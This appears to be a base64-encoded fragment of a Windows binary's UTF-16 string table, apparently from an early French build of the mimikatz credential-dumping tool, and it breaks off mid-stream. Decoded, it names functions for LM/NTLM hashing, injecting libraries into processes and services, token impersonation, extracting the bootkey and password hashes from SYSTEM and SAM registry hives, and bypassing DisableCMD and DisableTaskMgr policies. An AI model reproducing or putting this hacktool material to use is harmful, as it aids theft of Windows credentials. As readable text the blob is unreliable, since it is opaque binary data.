UAIAByAGUAYwBvAHUAdgByAGUAbQBlAG4AdAAgACAAOgAAAAAAIAAgAEQAQQBUAEEAIAA6AAAAAAAgACAARABBAFQAQQAgAFMAZQBnAG0AZQBuAHQAIABFAG4AYwByAHkAcAB0AGkAbwBuACAASABlAGEAZABlAHIAIAA6AAAAAAAgACAAIAAqACAATgB1AG0AYgBlAHIATwBmAEQAYQB0AGEAQgBsAG8AYwBrAHMAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQwBsAHUAcwB0AGUAcgBTAGgAaQBmAHQAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQwBoAHUAbgBrAFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAARABhAHQAYQBVAG4AaQB0AFMAaABpAGYAdAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFYARABMACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAAQgB5AHQAZQBzAFcAaQB0AGgAaQBuAFMAdAByAGUAYQBtAFMAaQB6AGUAIAA6ACAAAAAgACAAIAAqACAAUwB0AGEAcgB0AGkAbgBnAEYAaQBsAGUAXwBPAGYAZgBzAGUAdAAgACAAIAA6ACAAAAAgACAAIAAqACAATABlAG4AZwB0AGgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAgACAAIAAqACAARQB4AHQAZQBuAGQAZQBkACAASABlAGEAZABlAHIAIABGAGwAYQBnACAAIAA6ACAAAAAgADsAIAB0AGEAaQBsAGwAZQAgADoAIAAAAAAAIAAgACAAIAAtAD4AIABCAGwAbwBjAGsAIAAAAFQATwBEAE8AIABEAGEAdABhAAAARQByAHIAZQB1AHIAIABSAGUAYQBkAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAUgBhAHcAIAA6ACAAAAAAAEUAcgByAGUAdQByACAATwBwAGUAbgBFAG4AYwByAHkAcAB0AGUAZABGAGkAbABlAFIAYQB3ACAAOgAgAAAAAABPAHUAdgBlAHIAdAB1AHIAZQAgAGQAZQAgADoAIAAAAFYAZQByAHMAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAIAAqACAARQB4AHAAbwByAHQAIABPAEsAAAAAAAAAAAAqACAARQByAHIAZQB1AHIAIABSAGUAYQBkAEUAbgBjAHIAeQBwAHQAZQBkAEYAaQBsAGUAUgBhAHcAIAA6ACAAAAAAACAAKgAgAEgAYQBzAGgAIABkAHUAIABjAGUAcgB0AGkAZgBpAGMAYQB0ACAAOgAgAAAAAAAgACoAIABOAG8AbQAgAHMAaQBtAHAAbABlACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAAIAAqACAATgBvAG0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAALQAgAEwAZQBjAHQAdQByAGUAIABkACcAdQBuACAAYgBsAG8AYwAgAGQAZQAgADoAIAAAAAAAIAA6AAAAAAAgACAAIAAgAEMAaABhAG0AcAAgAGQAZQAgAGQAbwBuAG4A6QBlAHMAIAAAACAAIAAgACAAIAAqACAAVQB0AGkAbABpAHMAYQB0AGUAdQByACAAOgAgAAAAIAAgACAAIAAgACAALQA+ACAARABvAG4AbgDpAGUAcwAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFQAYQBpAGwAbABlACAAIAA6ACAAAAAgACAAIAAgACAAKgAgAEYARQBLACAAKABjAGgAaQBmAGYAcgDpAGUAKQAgADoAIAAAAAAAIAAgACAAIAAgACoAIABGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAAIAAgACAAIAAgAC0APgAgAE4AbwBtACAAYQBmAGYAaQBjAGgA6QAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAAgADoAIAAAACAAIAAgACAAIAAgAC0APgAgAEUAbQBwAHIAZQBpAG4AdABlACAAIAAgADoAIAAAAEEAZgBmAGkAYwBoAGUAIABsAGUAcwAgAGgAYQBuAGQAbABlAHMAIABkAHUAIABzAHkAcwB0AOgAbQBlACAAKABwAG8AdQByACAAbABlACAAbQBvAG0AZQBuAHQAIABqAHUAcwB0AGUAIABsAGUAcwAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQB0ACAAdABvAGsAZQBuAHMAKQAAAGwAaQBzAHQAAAAAAEUAcwBzAGEAeQBlACAAZABlACAAcwB0AG8AcABwAGUAcgAgAHUAbgAgAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACAAcAByAG8AYwBlAHMAcwB1AHMAIABlAG4AIAB1AHQAaQBsAGkAcwBhAG4AdAAgAGQAJwBhAHUAdAByAGUAcwAgAGgAYQBuAGQAbABlAHMAAABwAHIAbwBjAGUAcwBzAFMAdABvAHAAAAAAAAAARQBzAHMAYQB5AGUAIABkACcAaQBtAHAAZQByAHMAbwBuAGEAbABpAHMAZQByACAAdQBuACAAdABvAGsAZQBuACAAZQBuACAAdQB0AGkAbABpAHMAYQBuAHQAIABkACcAYQB1AHQAcgBlAHMAIABoAGEAbgBkAGwAZQBzAAAAAAB0AG8AawBlAG4ASQBtAHAAZQByAHMAbwBuAGEAdABlAAAAAAAAAAAAUABvAHMAaQB0AGkAbwBuAG4AZQAgAHUAbgBlACAAQQBDAEwAIABuAHUAbABsACAAcwB1AHIAIABkAGUAcwAgAEgAYQBuAGQAbABlAHMAAABuAHUAbABsAEEAYwBsAAAAdABvAGsAZQBuAAAAIAAgAAAAAAAgAC0APgAgAAAAAABtAG8AZABfAHMAeQBzAHQAZQBtADoAOgBnAGUAdABTAHkAcwB0AGUAbQBIAGEAbgBkAGwAZQBzACAAOwAgAAAACQBUAGUAcgBtAGkAbgBhAHQAZQAgAFAAcgBvAGMAZQBzAHMAIAAtACAAAAAJAEoAbwBiACAAOgAgAAAASwBPACAAOwAgAAAAVABlAHIAbQBpAG4AYQB0AGUASgBvAGIATwBiAGoAZQBjAHQAIAAtACAAAAAAAAAAQQBzAHMAaQBnAG4AUAByAG8AYwBlAHMAcwBUAG8ASgBvAGIATwBiAGoAZQBjAHQAIAAtACAASwBPACAAOwAgAAAAAABOdFNldEluZm9ybWF0aW9uUHJvY2VzcwBvAGsAIAAhACEAAABrAG8AIAAtACAASQBtAHAAZQByAHMAbwBuAGEAdABlAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByACAAOwAgAAAAawBvACAALQAgAG0AbwBkAF8AcwBlAGMAYQBjAGwAOgA6AGUAeABjAGgAYQBuAGcAZQBEAHUAcABUAG8AawBlAG4AIAA7ACAAAAAAAE4AVQBMAEwAIAAhAAAAAAAJAAkAAAAAAAAAAABIAGEAcwBoACAATABhAG4ATQBhAG4AYQBnAGUAcgAgACgATABNACkAIABkACcAdQBuAGUAIABjAGgAYQDuAG4AZQAgAGQAZQAgAGMAYQByAGEAYwB0AOgAcgBlAHMAAABsAG0AAAAAAEgAYQBzAGgAIABOAFQAIABMAGEAbgBNAGEAbgBnAGUAcgAgACgATgBUAEwATQApACAAZAAnAHUAbgBlACAAYwBoAGEA7gBuAGUAIABkAGUAIABjAGEAcgBhAGMAdADoAHIAZQBzAAAAbgB0AGwAbQAAAAAAJwApACAAPQAgAAAATABNACgAJwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABjAGEAbABjAHUAbAAgAGQAdQAgAGgAYQBzAGgAIABMAE0AAABOAFQATABNACgAJwAAAAAARQByAHIAZQB1AHIAIABkAGUAIABjAGEAbABjAHUAbAAgAGQAdQAgAGgAYQBzAGgAIABOAFQATABNAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAFAASQBEAAAAcABpAGQAAABJAG4AagBlAGMAdABlACAAdQBuAGUAIABsAGkAYgByAGEAaQByAGkAcgBlACAAYwBvAG0AbQB1AG4AaQBjAGEAbgB0AGUAIABkAGEAbgBzACAAdQBuACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAAAASQBuAGoAZQBjAHQAZQAgAHUAbgBlACAAbABpAGIAcgBhAGkAcgBpAHIAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAG4AdABlACAAZABhAG4AcwAgAHUAbgAgAHMAZQByAHYAaQBjAGUAAAApAC4AdABoADMAMgBQAHIAbwBjAGUAcwBzAEkARAAgAD0AIAAAAAAAUABSAE8AQwBFAFMAUwBFAE4AVABSAFkAMwAyACgAAAAnACAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBQAHIAbwBjAGUAcwBzAEYAbwByAE4AYQBtAGUAIAA6ACAAAABUAHIAbwBwACwAIABvAHUAIABwAGEAcwAgAGQAZQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAOgAgACcAAAApAC4AcwBlAHIAdgBpAGMAZQBEAGkAcwBwAGwAYQB5AE4AYQBtAGUAIAA9ACAAAABTAEUAUgBWAEkAQwBFACgAAAAAAAAAAAApAC4AUwBlAHIAdgBpAGMAZQBTAHQAYQB0AHUAcwBQAHIAbwBjAGUAcwBzAC4AZAB3AFAAcgBvAGMAZQBzAHMASQBkACAAPQAgAAAAAAAAACcAIAA7ACAAbQBvAGQAXwBzAGUAcgB2AGkAYwBlADoAOgBnAGUAdABVAG4AaQBxAHUAZQBGAG8AcgBOAGEAbQBlACAAOgAgAAAAAABTAGUAcgB2AGkAYwBlACAAdQBuAGkAcQB1AGUAIABpAG4AdAByAG8AdQB2AGEAYgBsAGUAIAA6ACAAJwAAAAAALgAAAGsAaQB3AGkAXABtAGkAbQBpAGsAYQB0AHoAAAAAAAAAQQB0AHQAZQBuAHQAZQAgAGQAZQAgAGMAbwBuAG4AZQB4AGkAbwBuACAAZAB1ACAAYwBsAGkAZQBuAHQALgAuAC4AAABTAGUAcgB2AGUAdQByACAAYwBvAG4AbgBlAGMAdADpACAA4AAgAHUAbgAgAGMAbABpAGUAbgB0ACAAIQAAAAAATQBlAHMAcwBhAGcAZQAgAGQAdQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAOgAAAAAAAAAAAEUAcgByAGUAdQByACAAOgAgAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlACAAcAByAGUAbQBpAGUAcgAgAG0AZQBzAHMAYQBnAGUAIAAhACAAOwAgAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGMAcgDpAGUAcgAgAHUAbgAgAGMAYQBuAGEAbAAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBvAG4AIAAhACAAOwAgAAAASQBuAGoAZQBjAHQA6QAgAHMAYQBuAHMAIABjAG8AbQBtAHUAbgBpAGMAYQB0AGkAbwBuACAAKABsAGUAZwBhAGMAeQApAAAARQByAHIAZQB1AHIAIAA6ACAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAJwBpAG4AagBlAGMAdABlAHIAIAAhACAAOwAgAAAARQByAHIAZQB1AHIAIAA6ACAAdQBuACAAYwBhAG4AYQBsACAAZABlACAAYwBvAG0AbQB1AG4AaQBjAGEAdABvAG4AIABlAHMAdAAgAGQA6QBqAOAAIABvAHUAdgBlAHIAdAAAAAAAAABGAGUAcgBtAGUAdAB1AHIAZQAgAGQAdQAgAGMAYQBuAGEAbAAgAGQAZQAgAGMAbwBtAG0AdQBuAGkAYwBhAHQAaQBvAG4AAABPAGIAdABpAGUAbgB0ACAAZABlAHMAIABpAG4AZgBvAHIAbQBhAHQAaQBvAG4AcwAgAHMAdQByACAAbABlACAAZADpAG0AaQBuAGUAdQByACAAZQBuACAAYwBvAHUAcgBzAAAAQwBoAGEAbQBwACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAAAAAACAAYwBvAGwAbwBuAG4AZQBzAAAAIABsAGkAZwBuAGUAcwAgAHgAIAAAAAAARABpAG0AZQBuAHMAaQBvAG4AIAAgACAAIAAgACAAIAA6ACAAAAAAAE0AaQBuAGUAcwAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAAZABvAG4AbgDpAGUAcwAgAGQAdQAgAHAAbABhAHQAZQBhAHUAAAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAGQAbwBuAG4A6QBlAHMAIABkAHUAIABqAGUAdQAAAAAAAABJAG0AcABvAHMAcwBpAGIAbABlACAAZABlACAAbABpAHIAZQAgAGwAZQBzACAA6QBsAGUAbQBlAG4AdABzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAAAAAAAEkAbQBwAG8AcwBzAGkAYgBsAGUAIABkAGUAIABsAGkAcgBlACAAbABlAHMAIAByAOkAZgDpAHIAZQBuAGMAZQBzACAAZABlACAAbABhACAAYwBvAGwAbwBuAG4AZQAgADoAIAAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAHIA6QBmAOkAcgBlAG4AYwBlAHMAIABkAGUAcwAgAGMAbwBsAG8AbgBuAGUAcwAAAAAASQBtAHAAbwBzAHMAaQBiAGwAZQAgAGQAZQAgAGwAaQByAGUAIABsAGUAcwAgAHIA6QBmAOkAcgBlAG4AYwBlAHMAIABkAGUAIABsACcA6QBsAGUAbQBlAG4AdAAAAAAAbQBpAG4AZQBzAHcAZQBlAHAAZQByAC4AZQB4AGUAAABMAGEAbgBjAGUAIAB1AG4AIADpAGQAaQB0AGUAdQByACAAZABlACAAcgBlAGcAaQBzAHQAcgBlACwAIABpAGcAbgBvAHIAYQBuAHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAByAGUAZwBlAGQAaQB0AAAATABhAG4AYwBlACAAdQBuAGUAIABpAG4AdgBpAHQAZQAgAGQAZQAgAGMAbwBtAG0AYQBuAGQAZQAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBDAE0ARAAAAGMAbQBkAAAAAAAAAEwAYQBuAGMAZQAgAGwAZQAgAGcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAdABhAGMAaABlACwAIABpAGcAbgBvAHIAYQBuAHQAIABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAB0AGEAcwBrAG0AZwByAAAATABhAG4AYwBlACAATwB1AHQAbABvAG8AawAsACAAaQBnAG4AbwByAGEAbgB0ACAARABpAHMAYQBiAGwAZQBQAHMAdAAAAAAAbwBsAHAAcwB0AAAASwBpAHcAaQBBAG4AZABSAGUAZwBpAHMAdAByAHkAVABvAG8AbABzAAAAAABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAHIAZQBnAGUAZABpAHQALgBlAHgAZQAAAE9LAABLTwAARQBkAGkAdABlAHUAcgAgAGQAZQAgAHIAZQBnAGkAcwB0AHIAZQAgADoAIAAAAAAASwBpAHcAaQBBAG4AZABDAE0ARAAAAAAARABpAHMAYQBiAGwAZQBDAE0ARAAAAAAAYwBtAGQALgBlAHgAZQAAAEkAbgB2AGkAdABlACAAZABlACAAYwBvAG0AbQBhAG4AZABlACAAOgAgAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAEcAZQBzAHQAaQBvAG4AbgBhAGkAcgBlACAAZABlACAAdABhAGMAaABlAHMAIAA6ACAAAABEaXNhYmxlUHN0AABLaXdpQW5kUHN0AABPAHUAdABsAG8AbwBrAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAAAATwB1AHQAbABvAG8AawAgAGEAdgBlAGMAIABQAFMAVAAgACAAIAA6ACAAAABvAGwAbQBhAHAAaQAzADIALgBkAGwAbAAAAAAATwB1AHQAbABvAG8AawAgAGkAbgB0AHIAbwB1AHYAYQBiAGwAZQAAAFMAbwBmAHQAdwBhAHIAZQBcAEMAbABhAHMAcwBlAHMAXAAAAFwAQwBMAFMASQBEAAAAAABTAG8AZgB0AHcAYQByAGUAXABDAGwAYQBzAHMAZQBzAFwAQwBMAFMASQBEAFwAAABcAEwAbwBjAGEAbABTAGUAcgB2AGUAcgAzADIAAAAAACcgOiAAAAAAUmVnUXVlcnlWYWx1ZUV4ICcAAAAnIG4nZXN0IHBhcyA6IFJFR19TWgAAAABMZSB0eXBlIHJldG91cm7pIHBhciAnAABSZWdPcGVuS2V5RXggJwAAbQBvAGQAXwBtAGUAbQBvAHIAeQA6ADoAdwByAGkAdABlAE0AZQBtAG8AcgB5ACAAAAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAUABlAGIAIAAAAAAAUgBlAHMAdQBtAGUAVABoAHIAZQBhAGQAIAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZQB4AGUAYwBQAHIAbwBjAGUAcwBzACAAAAAAAAAAbQBvAGQAXwBtAGkAbQBpAGsAYQB0AHoAXwBuAG8AZwBwAG8AOgA6AGQAaQBzAGEAYgBsAGUAUwBpAG0AcABsAGUAIAAoAHUAbgBpAGMAbwBkAGUAKQAgAFQAYQBpAGwAbABlACAAZAB1ACAAcABhAHQAdABlAHIAbgAgAG8AcgBpAGcAaQBuAGEAbAAgAGQAaQBmAGYA6QByAGUAbgB0AGUAIABkAHUAIABwAGEAdAB0AGUAcgBuACAAYwBpAGIAbABlAAAAAABtAG8AZABfAG0AaQBtAGkAawBhAHQAegBfAG4AbwBnAHAAbwA6ADoAZABpAHMAYQBiAGwAZQBTAGkAbQBwAGwAZQAgACgAbgBvAG4ALQB1AG4AaQBjAG8AZABlACkAIABUAGEAaQBsAGwAZQAgAGQAdQAgAHAAYQB0AHQAZQByAG4AIABvAHIAaQBnAGkAbgBhAGwAIABkAGkAZgBmAOkAcgBlAG4AdABlACAAZAB1ACAAcABhAHQAdABlAHIAbgAgAGMAaQBiAGwAZQAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAAAAAAAAAQQBjAHQAaQB2AGUAIAB1AG4AIABvAHUAIABwAGwAdQBzAGkAZQB1AHIAcwAgAHAAcgBpAHYAaQBsAOgAZwBlAHMAAABlAG4AYQBiAGwAZQAAAAAAAAAAAFIAZQB0AGkAcgBlACAAdQBuACAAbwB1ACAAcABsAHUAcwBpAGUAdQByAHMAIABwAHIAaQB2AGkAbADoAGcAZQBzAAAAcgBlAG0AbwB2AGUAAAAAAAAAAABEAOkAcwBhAGMAdABpAHYAZQAgAHUAbgAgAG8AdQAgAHAAbAB1AHMAaQBlAHUAcgBzACAAcAByAGkAdgBpAGwA6ABnAGUAcwAAAAAAZABpAHMAYQBiAGwAZQAAAAAAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABEAGUAYgB1AGcAAABkAGUAYgB1AGcAAABEAGUAbQBhAG4AZABlACAAKABvAHUAIABkAOkAcwBhAGMAdABpAHYAZQApACAAbABlACAAcAByAGkAdgBpAGwA6ABnAGUAIABTAGUAYwB1AHIAaQB0AHkAAAAAAHMAZQBjAHUAcgBpAHQAeQAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAVABjAGIAAAB0AGMAYgAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEkAbQBwAGUAcgBzAG8AbgBhAHQAZQAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAEEAcwBzAGkAZwBuAFAAcgBpAG0AYQByAHkAVABvAGsAZQBuAAAAAABhAHMAcwBpAGcAbgAAAAAARABlAG0AYQBuAGQAZQAgACgAbwB1ACAAZADpAHMAYQBjAHQAaQB2AGUAKQAgAGwAZQAgAHAAcgBpAHYAaQBsAOgAZwBlACAAUwBoAHUAdABkAG8AdwBuAAAAAABzAGgAdQB0AGQAbwB3AG4AAAAAAEQAZQBtAGEAbgBkAGUAIAAoAG8AdQAgAGQA6QBzAGEAYwB0AGkAdgBlACkAIABsAGUAIABwAHIAaQB2AGkAbADoAGcAZQAgAFQAYQBrAGUATwB3AG4AZQByAHMAaABpAHAAAAB0AGEAawBlAG8AdwBuAGUAcgAAACAAOgAgAAAAIABkAHUAIABwAHIAaQB2AGkAbADoAGcAZQAgADoAIAAAAAAAJwBBAEMAVABJAFYAQQBUAEkATwBOAAAAZQAgAFIARQBUAFIAQQBJAFQAAABEAGUAbQBhAG4AZABlACAAZAAAAEUATgBBAEIATABFAEQAXwBCAFkAXwBEAEUARgBBAFUATABUACAAAABFAE4AQQBCAEwARQBEACAAAAAAAFIARQBNAE8AVgBFAEQAIAAAAAAAVQBTAEUARABfAEYATwBSAF8AQQBDAEMARQBTAFMAIAAAAAAAUgBFAE0ATwBWAEUARAAAAFMAZQBEAGUAYgB1AGcAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBTAGUAYwB1AHIAaQB0AHkAUAByAGkAdgBpAGwAZQBnAGUAAABTAGUAVABjAGIAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBJAG0AcABlAHIAcwBvAG4AYQB0AGUAUAByAGkAdgBpAGwAZQBnAGUAAAAAAFMAZQBBAHMAcwBpAGcAbgBQAHIAaQBtAGEAcgB5AFQAbwBrAGUAbgBQAHIAaQB2AGkAbABlAGcAZQAAAFMAZQBTAGgAdQB0AGQAbwB3AG4AUAByAGkAdgBpAGwAZQBnAGUAAABTAGUAVABhAGsAZQBPAHcAbgBlAHIAcwBoAGkAcABQAHIAaQB2AGkAbABlAGcAZQAAAAAATABpAHMAdABlACAAbABlAHMAIABwAHIAbwBjAGUAcwBzAHUAcwAAAAAAAABFAHgA6QBjAHUAdABlACAAdQBuACAAcAByAG8AYwBlAHMAcwB1AHMALAAgAC8AcABhAHUAcwBlAGQAIABlAHQALwBvAHUAIAAvAHMAdQBkAG8AAABzAHQAYQByAHQAAABTAHUAcwBwAGUAbgBkACAAbAAnAGUAeADpAGMAdQB0AGkAbwBuACAAZAAnAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAABzAHUAcwBwAGUAbgBkAAAAUgBlAHAAcgBlAG4AZAAgAHUAbgAgAHAAcgBvAGMAZQBzAHMAdQBzAAAAAAByAGUAcwB1AG0AZQAAAAAAAAAAAFMAdABvAHAAcABlACAAdQBuACAAKABvAHUAIABwAGwAdQBzAGkAZQB1AHIAcwApACAAcAByAG8AYwBlAHMAcwB1AHMAAAAAAHMAdABvAHAAAAAAAAAAAABMAGkAcwB0AGUAIABsAGUAcwAgAG0AbwBkAHUAbABlAHMAIAAoAHAAbwB1AHIAIABsAGUAIABtAG8AbQBlAG4AdAAgAGQAdQAgAFAASQBEACAAYwBvAHUAcgBhAG4AdAApAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAZQAgAGwAYQAgAHQAYQBiAGwAZQAgAGQAJwBhAGQAcgBlAHMAcwBhAGcAZQAAAAAAaQBhAHQAAAAnAAAARABlAG0AYQBuAGQAZQAgAGQAJwBlAHgA6QBjAHUAdABpAG8AbgAgAGQAZQAgADoAIAAnAAAAAAAvAHAAYQB1AHMAZQBkAAAALwBzAHUAZABvAAAAAAAAACAAKgAgAEwAZQAgAFQAaAByAGUAYQBkACAAcAByAGkAbgBjAGkAcABhAGwAIABlAHMAdAAgAHMAdQBzAHAAZQBuAGQAdQAgACEAIABSAGUAcAByAGkAcwBlACAAYQB2AGUAYwAgADoAIAB0AGgAcgBlAGEAZAA6ADoAcgBlAHMAdQBtAGUAIAAAAAAAAAAAACAAKgAgAEwAZQAgAHAAcgBvAGMAZQBzAHMAdQBzACAAZQBzAHQAIABkAOkAbQBhAHIAcgDpACAAYQB2AGUAYwAgAGQAZQAgAGYAYQB1AHMAcwBlAHMAIABkAG8AbgBuAOkAZQBzACAAZAAnAGkAZABlAG4AdABpAGYAaQBjAGEAdABpAG8AbgAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIAA7ACAAAABwAHIAbwBjAGUAcwBzADoAOgBzAHQAYQByAHQAIABbAC8AcABhAHUAcwBlAGQAXQAgAFsALwBzAHUAZABvAF0AIABjAG8AbQBtAGEAbgBkAGUAAABFAHIAcgBlAHUAcgAgAGQAZQAgAHMAeQBuAHQAYQB4AGUAIAA7ACAAAAAAAEYAaQBuACAAZABlACAAOgAgAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB0AG8AcAAgADsAIAAAAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAZwBlAHQAVQBuAGkAcQB1AGUARgBvAHIATgBhAG0AZQAgADsAIAAAAAAAUwB1AHMAcABlAG4AcwBpAG8AbgAgAGQAZQAgADoAIAAAAAAASwBPACAALQAgAG0AbwBkAF8AcAByAG8AYwBlAHMAcwA6ADoAcwB1AHMAcABlAG4AZAAgADsAIAAAAAAAUgBlAHAAcgBpAHMAZQAgAGQAZQAgADoAIAAAAEsATwAgAC0AIABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AHIAZQBzAHUAbQBlACAAOwAgAAAAUABJAEQACQBQAFAASQBEAAkAIwBUAGgAcwAJAHAAcgBpAAkAaQBtAGEAZwBlAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABMAGkAcwB0ACAAOwAgAAAAQABCAGEAcwBlAAkAVABhAGkAbABsAGUACQBNAG8AZAB1AGwAZQAJAFAAYQB0AGgAAAAAAAAAAABtAG8AZABfAHAAcgBvAGMAZQBzAHMAOgA6AGcAZQB0AE0AbwBkAHUAbABlAHMATABpAHMAdABGAG8AcgBQAHIAbwBjAGUAcwBzAEkAZAAgADsAIAAAAAAAbQBvAGQAXwBwAHIAbwBjAGUAcwBzADoAOgBnAGUAdABVAG4AaQBxAHUAZQBNAG8AZAB1AGwAZQBGAG8AcgBOAGEAbQBlACAAOwAgAAAAAABQAEkARAAgACAAIAAgACAAIAA6ACAAAABUAGgAcgBlAGEAZABJAEQAIAA6ACAAAABBdXRoSWRfaCA6IABBdXRoSWRfbCA6IABFAHIAcgBlAHUAcgAgADoAIAAAACAALQAgAEkAbQBwAG8AcgB0AHMAIABkAGUAcAB1AGkAcwAgADoAIAAAAAAAIAAgACAAIAAgACAAAAAAAE8AIwAgAAAAaW52YWxpZCB2ZWN0b3I8VD4gc3Vic2NyaXB0AAAAAABSAOkAYwB1AHAA6AByAGUAIABsAGEAIABiAG8AbwB0AGsAZQB5ACAAZABlAHAAdQBpAHMAIAB1AG4AZQAgAHIAdQBjAGgAZQAgAFMAWQBTAFQARQBNACAAcAB1AGkAcwAgAGwAZQBzACAAaABhAHMAaABlAHMAIABkAGUAcAB1AGkAcwAgAHUAbgBlACAAcgB1AGMAaABlACAAUwBBAE0AAAAAAGgAYQBzAGgAZQBzAAAAAAAAAAAAUgDpAGMAdQBwAOgAcgBlACAAbABhACAAYgBvAG8AdABrAGUAeQAgAGQAZQBwAHUAaQBzACAAdQBuAGUAIAByAHUAYwBoAGUAIABTAFkAUwBUAEUATQAAAGIAbwBvAHQAawBlAHkAAABFAHIAcgBlAHUAcgAgAGwAbwByAHMAIABkAGUAIABsACcAZQB4AHAAbABvAHIAYQB0AGkAbwBuACAAZABlAHMAIAByAHUAYwBoAGUAcwAAAEUAcgByAGUAdQByACAAbABvAHIAcwAgAGQAZQAgAGwAJwBlAHgAcABsAG8AcgBhAHQAaQBvAG4AIABkAHUAIAByAGUAZwBpAHMAdAByAGUAAAAAAFxTQU1cRG9tYWluc1xBY2NvdW50AAAAAEYAAABcU0FNXERvbWFpbnNcQWNjb3VudFxVc2VycwAATmFtZXMAAABWAAAAXENvbnRyb2xTZXQATwByAGQAaQBuAGEAdABlAHUAcgAgADoAIAAAAEIAbwBvAHQASwBlAHkAIAAgACAAIAA6ACAAAABcQ29udHJvbFxDb21wdXRlck5hbWVcQ29tcHV0ZXJOYW1lAABDb21wdXRlck5hbWUAAAAASkQAAFNrZXcxAAAAR0JHAERhdGEAAAAAXENvbnRyb2xcTHNhXAAAACV4AABKAEQAAAAAAFMAawBlAHcAMQAAAEcAQgBHAAAARABhAHQAYQAAAAAAAAAAAFMAWQBTAFQARQBNAFwAQwB1AHIAcgBlAG4AdABDAG8AbgB0AHIAbwBsAFMAZQB0AFwAQwBvAG4AdAByAG8AbABcAEwAcwBhAAAAAAAlAHgAAAAAACA6IABSAGUAZwBRAHUAZQByAHkASQBuAGYAbwBLAGUAeQAgAAAAAABSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAAAAUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIA